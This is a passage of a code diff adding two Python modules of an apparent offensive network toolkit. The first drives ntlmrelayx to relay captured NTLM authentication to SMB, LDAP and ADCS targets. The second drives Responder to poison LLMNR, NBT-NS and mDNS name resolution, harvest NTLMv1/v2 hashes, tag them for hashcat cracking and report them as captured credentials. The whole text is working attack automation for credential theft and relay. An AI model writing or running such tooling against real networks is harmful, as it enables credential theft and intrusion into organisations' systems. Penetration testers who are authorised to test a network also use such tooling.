RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
|
||||||
|
|
||||||
|
|
||||||
|
class NTLMRelay(BaseModule):
|
||||||
|
"""ntlmrelayx subprocess manager.
|
||||||
|
|
||||||
|
Relays captured NTLM authentication to target services. Works
|
||||||
|
in coordination with ResponderManager — targets being relayed
|
||||||
|
should be excluded from Responder's SMB server to avoid consuming
|
||||||
|
the authentication attempt locally.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- Impacket installed (/opt/tools/impacket or pip install impacket)
|
||||||
|
- responder_mgr (optional, for coordination)
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
ntlmrelayx_binary: Path to ntlmrelayx.py
|
||||||
|
targets: List of relay target URLs (e.g., smb://10.0.0.0)
|
||||||
|
protocols: Set of relay protocols to use
|
||||||
|
adcs_template: ADCS certificate template for ESC attacks
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "ntlm_relay"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 150
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
OUTPUT_POLL_INTERVAL = 5
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._proc: Optional[subprocess.Popen] = None
|
||||||
|
self._output_thread: Optional[threading.Thread] = None
|
||||||
|
self._ntlmrelayx_binary = config.get(
|
||||||
|
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
|
||||||
|
)
|
||||||
|
self._iface = config.get("interface", "eth0")
|
||||||
|
self._targets: list = []
|
||||||
|
self._protocols: set = set()
|
||||||
|
self._adcs_template: Optional[str] = None
|
||||||
|
self._relay_active = False
|
||||||
|
self._successful_relays: list = []
|
||||||
|
self._relays_lock = threading.Lock()
|
||||||
|
self._responder_mgr = None
|
||||||
|
self._target_file = os.path.join(
|
||||||
|
os.path.expanduser("~"), ".bigbrother", "relay_targets.txt"
|
||||||
|
)
|
||||||
|
self._loot_dir = os.path.join(
|
||||||
|
os.path.expanduser("~"), ".bigbrother", "ntlmrelay_loot"
|
||||||
|
)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Optional responder_mgr for coordination
|
||||||
|
self._responder_mgr = self.config.get("responder_mgr")
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
|
||||||
|
os.makedirs(self._loot_dir, exist_ok=True)
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("NTLMRelay module started (ready for relay commands)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if self._relay_active:
|
||||||
|
self.stop_relay()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("NTLMRelay module stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"relay_active": self._relay_active and proc_alive,
|
||||||
|
"relay_pid": self._proc.pid if proc_alive else None,
|
||||||
|
"targets": self._targets,
|
||||||
|
"protocols": list(self._protocols),
|
||||||
|
"adcs_template": self._adcs_template,
|
||||||
|
"successful_relays": len(self._successful_relays),
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "ntlmrelayx_binary" in config:
|
||||||
|
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
|
||||||
|
if "adcs_template" in config:
|
||||||
|
self._adcs_template = config["adcs_template"]
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start_relay(self, targets: list, protocols: set = None) -> bool:
|
||||||
|
"""Start ntlmrelayx with specified targets and protocols.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
targets: List of relay target URLs.
|
||||||
|
Format: "protocol://ip" (e.g., "smb://10.0.0.0")
|
||||||
|
Or plain IPs for default SMB relay.
|
||||||
|
protocols: Set of protocols to relay to. If None, inferred from targets.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if ntlmrelayx was started.
|
||||||
|
"""
|
||||||
|
if not self._running:
|
||||||
|
logger.error("NTLMRelay not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self._relay_active and self._proc and self._proc.poll() is None:
|
||||||
|
logger.warning("ntlmrelayx already running")
|
||||||
|
return True
|
||||||
|
|
||||||
|
self._targets = list(targets)
|
||||||
|
self._protocols = protocols or self._infer_protocols(targets)
|
||||||
|
|
||||||
|
# Write target file
|
||||||
|
self._write_target_file()
|
||||||
|
|
||||||
|
# Coordinate with Responder — exclude relay target IPs from SMB auth
|
||||||
|
self._update_responder_exclusions()
|
||||||
|
|
||||||
|
# Build command
|
||||||
|
cmd = self._build_command()
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._proc = subprocess.Popen(
|
||||||
|
cmd,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
cwd=self._loot_dir,
|
||||||
|
)
|
||||||
|
time.sleep(2)
|
||||||
|
if self._proc.poll() is not None:
|
||||||
|
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||||
|
logger.error("ntlmrelayx failed to start: %s", stderr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
self._relay_active = True
|
||||||
|
|
||||||
|
# Start output monitoring
|
||||||
|
self._output_thread = threading.Thread(
|
||||||
|
target=self._monitor_output, daemon=True, name="bb-ntlmrelay-monitor"
|
||||||
|
)
|
||||||
|
self._output_thread.start()
|
||||||
|
|
||||||
|
logger.info(
|
||||||
|
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
|
||||||
|
self._proc.pid, len(self._targets), self._protocols,
|
||||||
|
)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except FileNotFoundError:
|
||||||
|
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to start ntlmrelayx")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_relay(self) -> bool:
|
||||||
|
"""Stop ntlmrelayx.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if relay was stopped.
|
||||||
|
"""
|
||||||
|
if self._proc and self._proc.poll() is None:
|
||||||
|
try:
|
||||||
|
self._proc.terminate()
|
||||||
|
self._proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
self._proc.kill()
|
||||||
|
try:
|
||||||
|
self._proc.wait(timeout=2)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to stop ntlmrelayx")
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
self._proc = None
|
||||||
|
|
||||||
|
self._relay_active = False
|
||||||
|
logger.info("ntlmrelayx stopped")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def add_target(self, target: str) -> bool:
|
||||||
|
"""Add a relay target while ntlmrelayx is running.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
target: Target URL (e.g., "smb://10.0.0.0").
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if target was added (requires restart to take effect).
|
||||||
|
"""
|
||||||
|
if target not in self._targets:
|
||||||
|
self._targets.append(target)
|
||||||
|
self._write_target_file()
|
||||||
|
self._update_responder_exclusions()
|
||||||
|
logger.info("Added relay target: %s (restart relay to apply)", target)
|
||||||
|
return True
|
||||||
|
return False
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Internal helpers
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _build_command(self) -> list:
|
||||||
|
"""Build the ntlmrelayx command line."""
|
||||||
|
cmd = [
|
||||||
|
"python3", self._ntlmrelayx_binary,
|
||||||
|
"-tf", self._target_file,
|
||||||
|
"-of", os.path.join(self._loot_dir, "hashes"),
|
||||||
|
"-smb2support",
|
||||||
|
]
|
||||||
|
|
||||||
|
# ADCS relay
|
||||||
|
if self._adcs_template and "adcs" in self._protocols:
|
||||||
|
cmd.extend(["--adcs", "--template", self._adcs_template])
|
||||||
|
|
||||||
|
# LDAP relay options
|
||||||
|
if "ldap" in self._protocols or "ldaps" in self._protocols:
|
||||||
|
cmd.append("--delegate-access")
|
||||||
|
|
||||||
|
# SOCKS proxy for interactive sessions
|
||||||
|
cmd.append("-socks")
|
||||||
|
|
||||||
|
return cmd
|
||||||
|
|
||||||
|
def _write_target_file(self) -> None:
|
||||||
|
"""Write relay targets to file for ntlmrelayx -tf."""
|
||||||
|
try:
|
||||||
|
with open(self._target_file, "w") as f:
|
||||||
|
for target in self._targets:
|
||||||
|
f.write(f"{target}\n")
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to write target file")
|
||||||
|
|
||||||
|
def _infer_protocols(self, targets: list) -> set:
|
||||||
|
"""Infer relay protocols from target URLs."""
|
||||||
|
protocols = set()
|
||||||
|
for target in targets:
|
||||||
|
if "://" in target:
|
||||||
|
proto = target.split("://")[0].lower()
|
||||||
|
if proto in RELAY_PROTOCOLS:
|
||||||
|
protocols.add(proto)
|
||||||
|
else:
|
||||||
|
protocols.add("smb") # Default to SMB
|
||||||
|
return protocols or {"smb"}
|
||||||
|
|
||||||
|
def _update_responder_exclusions(self) -> None:
|
||||||
|
"""Update ResponderManager with IPs to exclude from SMB auth."""
|
||||||
|
if not self._responder_mgr:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Extract IPs from target URLs
|
||||||
|
ips = set()
|
||||||
|
for target in self._targets:
|
||||||
|
if "://" in target:
|
||||||
|
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
|
||||||
|
else:
|
||||||
|
ip_part = target.split(":")[0].split("/")[0]
|
||||||
|
ips.add(ip_part)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._responder_mgr.set_relay_targets(ips)
|
||||||
|
logger.info("Updated Responder relay exclusions: %s", ips)
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to update Responder exclusions")
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Output monitoring
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _monitor_output(self) -> None:
|
||||||
|
"""Monitor ntlmrelayx output for successful relays and loot."""
|
||||||
|
if not self._proc:
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
for line in iter(self._proc.stdout.readline, b""):
|
||||||
|
if not self._running:
|
||||||
|
break
|
||||||
|
decoded = line.decode("utf-8", errors="replace").strip()
|
||||||
|
if not decoded:
|
||||||
|
continue
|
||||||
|
|
||||||
|
self._parse_relay_output(decoded)
|
||||||
|
|
||||||
|
if self._proc.poll() is not None:
|
||||||
|
break
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _parse_relay_output(self, line: str) -> None:
|
||||||
|
"""Parse ntlmrelayx output for successful relay events."""
|
||||||
|
# Successful SMB relay
|
||||||
|
if "authenticated successfully" in line.lower():
|
||||||
|
relay_info = {
|
||||||
|
"timestamp": time.time(),
|
||||||
|
"type": "auth_success",
|
||||||
|
"detail": line,
|
||||||
|
}
|
||||||
|
with self._relays_lock:
|
||||||
|
self._successful_relays.append(relay_info)
|
||||||
|
self.bus.emit(
|
||||||
|
"CREDENTIAL_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"target_service": "ntlm_relay",
|
||||||
|
"credential_type": "relay_success",
|
||||||
|
"credential_value": line,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
logger.info("Successful NTLM relay: %s", line)
|
||||||
|
|
||||||
|
# Secretsdump from relay
|
||||||
|
elif "dumping" in line.lower() and "sam" in line.lower():
|
||||||
|
logger.info("ntlmrelayx SAM dump: %s", line)
|
||||||
|
|
||||||
|
# ADCS certificate obtained
|
||||||
|
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
|
||||||
|
self.bus.emit(
|
||||||
|
"CREDENTIAL_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"target_service": "adcs_relay",
|
||||||
|
"credential_type": "certificate",
|
||||||
|
"credential_value": line,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
logger.info("ADCS certificate obtained via relay: %s", line)
|
||||||
|
|
||||||
|
# SOCKS proxy opened
|
||||||
|
elif "socks" in line.lower() and "connection" in line.lower():
|
||||||
|
logger.info("ntlmrelayx SOCKS: %s", line)
|
||||||
@@ -0,0 +1,431 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
|
||||||
|
|
||||||
|
Manages Responder as a supervised subprocess. Generates Responder.conf
|
||||||
|
from a Jinja2 template, monitors log output for captured NTLMv1/v2
|
||||||
|
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
|
||||||
|
ntlm_relay to exclude relay targets from Responder's SMB server.
|
||||||
|
|
||||||
|
Resources: ~30MB RAM, ~3% CPU
|
||||||
|
"""
|
||||||
|
|
||||||
|
import glob
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
import subprocess
|
||||||
|
import threading
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.active.responder_mgr")
|
||||||
|
|
||||||
|
# Regex for Responder hash log filenames
|
||||||
|
HASH_FILE_PATTERN = re.compile(
|
||||||
|
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
|
||||||
|
)
|
||||||
|
|
||||||
|
# Regex for parsing NTLMv2 hash lines
|
||||||
|
NTLMV2_REGEX = re.compile(
|
||||||
|
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
|
||||||
|
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
|
||||||
|
)
|
||||||
|
|
||||||
|
NTLMV1_REGEX = re.compile(
|
||||||
|
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
|
||||||
|
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class ResponderManager(BaseModule):
|
||||||
|
"""Responder subprocess manager with hash capture monitoring.
|
||||||
|
|
||||||
|
Dependencies:
|
||||||
|
- Responder installed at /opt/tools/Responder
|
||||||
|
|
||||||
|
Configuration:
|
||||||
|
responder_path: Path to Responder directory
|
||||||
|
interface: Network interface
|
||||||
|
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
|
||||||
|
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
|
||||||
|
"""
|
||||||
|
|
||||||
|
name = "responder_mgr"
|
||||||
|
module_type = "active"
|
||||||
|
priority = 150
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
HASH_POLL_INTERVAL = 10 # seconds
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._proc: Optional[subprocess.Popen] = None
|
||||||
|
self._hash_thread: Optional[threading.Thread] = None
|
||||||
|
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
|
||||||
|
self._iface = config.get("interface", "eth0")
|
||||||
|
self._log_dir = os.path.join(self._responder_path, "logs")
|
||||||
|
self._captured_hashes: list = []
|
||||||
|
self._hashes_lock = threading.Lock()
|
||||||
|
self._seen_hashes: set = set() # Dedup set
|
||||||
|
self._relay_targets: set = set() # IPs excluded from SMB for relay
|
||||||
|
self._protocols = {
|
||||||
|
"LLMNR": True,
|
||||||
|
"NBT-NS": True,
|
||||||
|
"mDNS": True,
|
||||||
|
"HTTP": True,
|
||||||
|
"SMB": True,
|
||||||
|
"WPAD": True,
|
||||||
|
"FTP": False,
|
||||||
|
"POP": False,
|
||||||
|
"IMAP": False,
|
||||||
|
"SMTP": False,
|
||||||
|
"LDAP": False,
|
||||||
|
}
|
||||||
|
self._template_dir = config.get(
|
||||||
|
"template_dir",
|
||||||
|
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
|
||||||
|
)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
if not os.path.isdir(self._responder_path):
|
||||||
|
logger.error("Responder not found at %s", self._responder_path)
|
||||||
|
return
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||||
|
logger.info("ResponderManager started (ready to launch Responder)")
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.stop_responder()
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("ResponderManager stopped")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"responder_running": proc_alive,
|
||||||
|
"responder_pid": self._proc.pid if proc_alive else None,
|
||||||
|
"captured_hash_count": len(self._captured_hashes),
|
||||||
|
"interface": self._iface,
|
||||||
|
"relay_targets": list(self._relay_targets),
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
if "interface" in config:
|
||||||
|
self._iface = config["interface"]
|
||||||
|
if "relay_targets" in config:
|
||||||
|
self._relay_targets = set(config["relay_targets"])
|
||||||
|
if "protocols" in config:
|
||||||
|
self._protocols.update(config["protocols"])
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start_responder(self, protocols: dict = None) -> bool:
|
||||||
|
"""Start Responder with configured protocols.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
protocols: Optional dict overriding default protocol toggles.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if Responder was started.
|
||||||
|
"""
|
||||||
|
if not self._running:
|
||||||
|
logger.error("ResponderManager not started")
|
||||||
|
return False
|
||||||
|
|
||||||
|
if self._proc and self._proc.poll() is None:
|
||||||
|
logger.warning("Responder already running (pid=%d)", self._proc.pid)
|
||||||
|
return True
|
||||||
|
|
||||||
|
if protocols:
|
||||||
|
self._protocols.update(protocols)
|
||||||
|
|
||||||
|
# Generate Responder.conf from template
|
||||||
|
self._write_responder_conf()
|
||||||
|
|
||||||
|
# Build command
|
||||||
|
responder_py = os.path.join(self._responder_path, "Responder.py")
|
||||||
|
if not os.path.isfile(responder_py):
|
||||||
|
logger.error("Responder.py not found at %s", responder_py)
|
||||||
|
return False
|
||||||
|
|
||||||
|
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
|
||||||
|
|
||||||
|
# Add protocol flags based on what we want DISABLED
|
||||||
|
if not self._protocols.get("WPAD"):
|
||||||
|
cmd.append("-w") # -w disables WPAD in newer Responder versions
|
||||||
|
# Responder's flags are for disabling features, not enabling them
|
||||||
|
# The .conf file controls which services are On/Off
|
||||||
|
|
||||||
|
try:
|
||||||
|
self._proc = subprocess.Popen(
|
||||||
|
cmd,
|
||||||
|
stdout=subprocess.PIPE,
|
||||||
|
stderr=subprocess.PIPE,
|
||||||
|
cwd=self._responder_path,
|
||||||
|
)
|
||||||
|
time.sleep(2)
|
||||||
|
if self._proc.poll() is not None:
|
||||||
|
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||||
|
logger.error("Responder failed to start: %s", stderr)
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Start hash file monitoring thread
|
||||||
|
self._hash_thread = threading.Thread(
|
||||||
|
target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes"
|
||||||
|
)
|
||||||
|
self._hash_thread.start()
|
||||||
|
|
||||||
|
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
|
||||||
|
return True
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to start Responder")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def stop_responder(self) -> bool:
|
||||||
|
"""Stop the Responder subprocess.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
True if Responder was stopped.
|
||||||
|
"""
|
||||||
|
if self._proc and self._proc.poll() is None:
|
||||||
|
try:
|
||||||
|
self._proc.terminate()
|
||||||
|
self._proc.wait(timeout=5)
|
||||||
|
except subprocess.TimeoutExpired:
|
||||||
|
self._proc.kill()
|
||||||
|
try:
|
||||||
|
self._proc.wait(timeout=2)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to stop Responder")
|
||||||
|
return False
|
||||||
|
finally:
|
||||||
|
self._proc = None
|
||||||
|
|
||||||
|
logger.info("Responder stopped")
|
||||||
|
return True
|
||||||
|
|
||||||
|
def get_captured_hashes(self) -> list:
|
||||||
|
"""Return all captured hashes.
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
List of dicts with hash details.
|
||||||
|
"""
|
||||||
|
with self._hashes_lock:
|
||||||
|
return list(self._captured_hashes)
|
||||||
|
|
||||||
|
def set_relay_targets(self, targets: set) -> None:
|
||||||
|
"""Set IPs that should be excluded from Responder's SMB server.
|
||||||
|
|
||||||
|
When coordinating with ntlm_relay, Responder should not respond
|
||||||
|
to targets that ntlmrelayx is relaying from.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
targets: Set of IP addresses to exclude.
|
||||||
|
"""
|
||||||
|
self._relay_targets = set(targets)
|
||||||
|
# Regenerate config and restart if running
|
||||||
|
if self._proc and self._proc.poll() is None:
|
||||||
|
self._write_responder_conf()
|
||||||
|
logger.info("Updated relay exclusion targets: %s", targets)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Responder.conf generation
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _write_responder_conf(self) -> None:
|
||||||
|
"""Generate Responder.conf from template or defaults."""
|
||||||
|
conf_path = os.path.join(self._responder_path, "Responder.conf")
|
||||||
|
|
||||||
|
# Try Jinja2 template first
|
||||||
|
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
|
||||||
|
if os.path.isfile(template_path):
|
||||||
|
try:
|
||||||
|
from jinja2 import Template
|
||||||
|
with open(template_path, "r") as f:
|
||||||
|
tmpl = Template(f.read())
|
||||||
|
rendered = tmpl.render(
|
||||||
|
protocols=self._protocols,
|
||||||
|
relay_targets=self._relay_targets,
|
||||||
|
interface=self._iface,
|
||||||
|
)
|
||||||
|
with open(conf_path, "w") as f:
|
||||||
|
f.write(rendered)
|
||||||
|
return
|
||||||
|
except ImportError:
|
||||||
|
logger.warning("Jinja2 not available — using inline config")
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Failed to render Responder.conf template")
|
||||||
|
|
||||||
|
# Fallback: write config directly
|
||||||
|
smb_on = "On" if self._protocols.get("SMB") else "Off"
|
||||||
|
http_on = "On" if self._protocols.get("HTTP") else "Off"
|
||||||
|
|
||||||
|
conf = (
|
||||||
|
"[Responder Core]\n\n"
|
||||||
|
"; Servers to start\n"
|
||||||
|
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
|
||||||
|
f"SMB = {smb_on}\n"
|
||||||
|
f"RDP = Off\n"
|
||||||
|
f"Kerberos = Off\n"
|
||||||
|
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
|
||||||
|
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
|
||||||
|
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
|
||||||
|
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
|
||||||
|
f"HTTP = {http_on}\n"
|
||||||
|
f"HTTPS = {http_on}\n"
|
||||||
|
f"DNS = Off\n"
|
||||||
|
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
|
||||||
|
f"DCERPC = Off\n"
|
||||||
|
f"WinRM = Off\n"
|
||||||
|
f"SNMP = Off\n"
|
||||||
|
f"MQTT = Off\n"
|
||||||
|
"\n"
|
||||||
|
"; Custom challenge\n"
|
||||||
|
"Challenge = Random\n"
|
||||||
|
"\n"
|
||||||
|
"; Set to On for downgrading to NTLMv1\n"
|
||||||
|
"DontRespondToNames =\n"
|
||||||
|
"\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
with open(conf_path, "w") as f:
|
||||||
|
f.write(conf)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Hash capture monitoring
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _hash_monitor_loop(self) -> None:
|
||||||
|
"""Monitor Responder log directory for new hash files."""
|
||||||
|
while self._running and self._proc and self._proc.poll() is None:
|
||||||
|
time.sleep(self.HASH_POLL_INTERVAL)
|
||||||
|
try:
|
||||||
|
self._scan_hash_files()
|
||||||
|
self._scan_session_log()
|
||||||
|
except Exception:
|
||||||
|
logger.exception("Hash monitor error")
|
||||||
|
|
||||||
|
def _scan_hash_files(self) -> None:
|
||||||
|
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
|
||||||
|
if not os.path.isdir(self._log_dir):
|
||||||
|
return
|
||||||
|
|
||||||
|
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
|
||||||
|
try:
|
||||||
|
with open(filepath, "r") as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line in self._seen_hashes:
|
||||||
|
continue
|
||||||
|
self._seen_hashes.add(line)
|
||||||
|
self._process_hash_line(line, filepath)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _scan_session_log(self) -> None:
|
||||||
|
"""Scan Responder-Session.log for cleartext credentials."""
|
||||||
|
session_log = os.path.join(self._log_dir, "Responder-Session.log")
|
||||||
|
if not os.path.isfile(session_log):
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
with open(session_log, "r") as f:
|
||||||
|
for line in f:
|
||||||
|
line = line.strip()
|
||||||
|
if not line or line in self._seen_hashes:
|
||||||
|
continue
|
||||||
|
# Look for cleartext credential lines
|
||||||
|
if "Cleartext" in line or "Password" in line:
|
||||||
|
self._seen_hashes.add(line)
|
||||||
|
self._process_cleartext_line(line)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _process_hash_line(self, line: str, source_file: str) -> None:
|
||||||
|
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
|
||||||
|
# Determine hash type from filename
|
||||||
|
hash_type = "ntlmv2"
|
||||||
|
hashcat_mode = 5600
|
||||||
|
if "NTLMv1" in source_file:
|
||||||
|
hash_type = "ntlmv1"
|
||||||
|
hashcat_mode = 5500
|
||||||
|
|
||||||
|
# Parse username and domain
|
||||||
|
match = NTLMV2_REGEX.match(line)
|
||||||
|
if not match:
|
||||||
|
match = NTLMV1_REGEX.match(line)
|
||||||
|
if match:
|
||||||
|
username = match.group("username")
|
||||||
|
domain = match.group("domain")
|
||||||
|
else:
|
||||||
|
username = line.split("::")[0] if "::" in line else "unknown"
|
||||||
|
domain = ""
|
||||||
|
|
||||||
|
hash_entry = {
|
||||||
|
"timestamp": time.time(),
|
||||||
|
"username": username,
|
||||||
|
"domain": domain,
|
||||||
|
"hash_type": hash_type,
|
||||||
|
"hashcat_mode": hashcat_mode,
|
||||||
|
"hash_value": line,
|
||||||
|
"source_file": source_file,
|
||||||
|
}
|
||||||
|
|
||||||
|
with self._hashes_lock:
|
||||||
|
self._captured_hashes.append(hash_entry)
|
||||||
|
|
||||||
|
self.bus.emit(
|
||||||
|
"CREDENTIAL_FOUND",
|
||||||
|
{
|
||||||
|
"source_module": self.name,
|
||||||
|
"source_ip": "",
|
||||||
|
"target_service": "responder",
|
||||||
|
"username": username,
|
||||||
|
"domain": domain,
|
||||||
|
"credential_type": hash_type,
|
||||||
|
"credential_value": line,
|
||||||
|
"hashcat_mode": hashcat_mode,
|
||||||
|
},
|
||||||
|
source_module=self.name,
|
||||||
|
)
|
||||||
|
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
|
||||||
|
|
||||||
|
def _process_cleartext_line(self, line: str) -> None:
|
||||||
|
"""Process a cleartext credential line from Responder session log."""
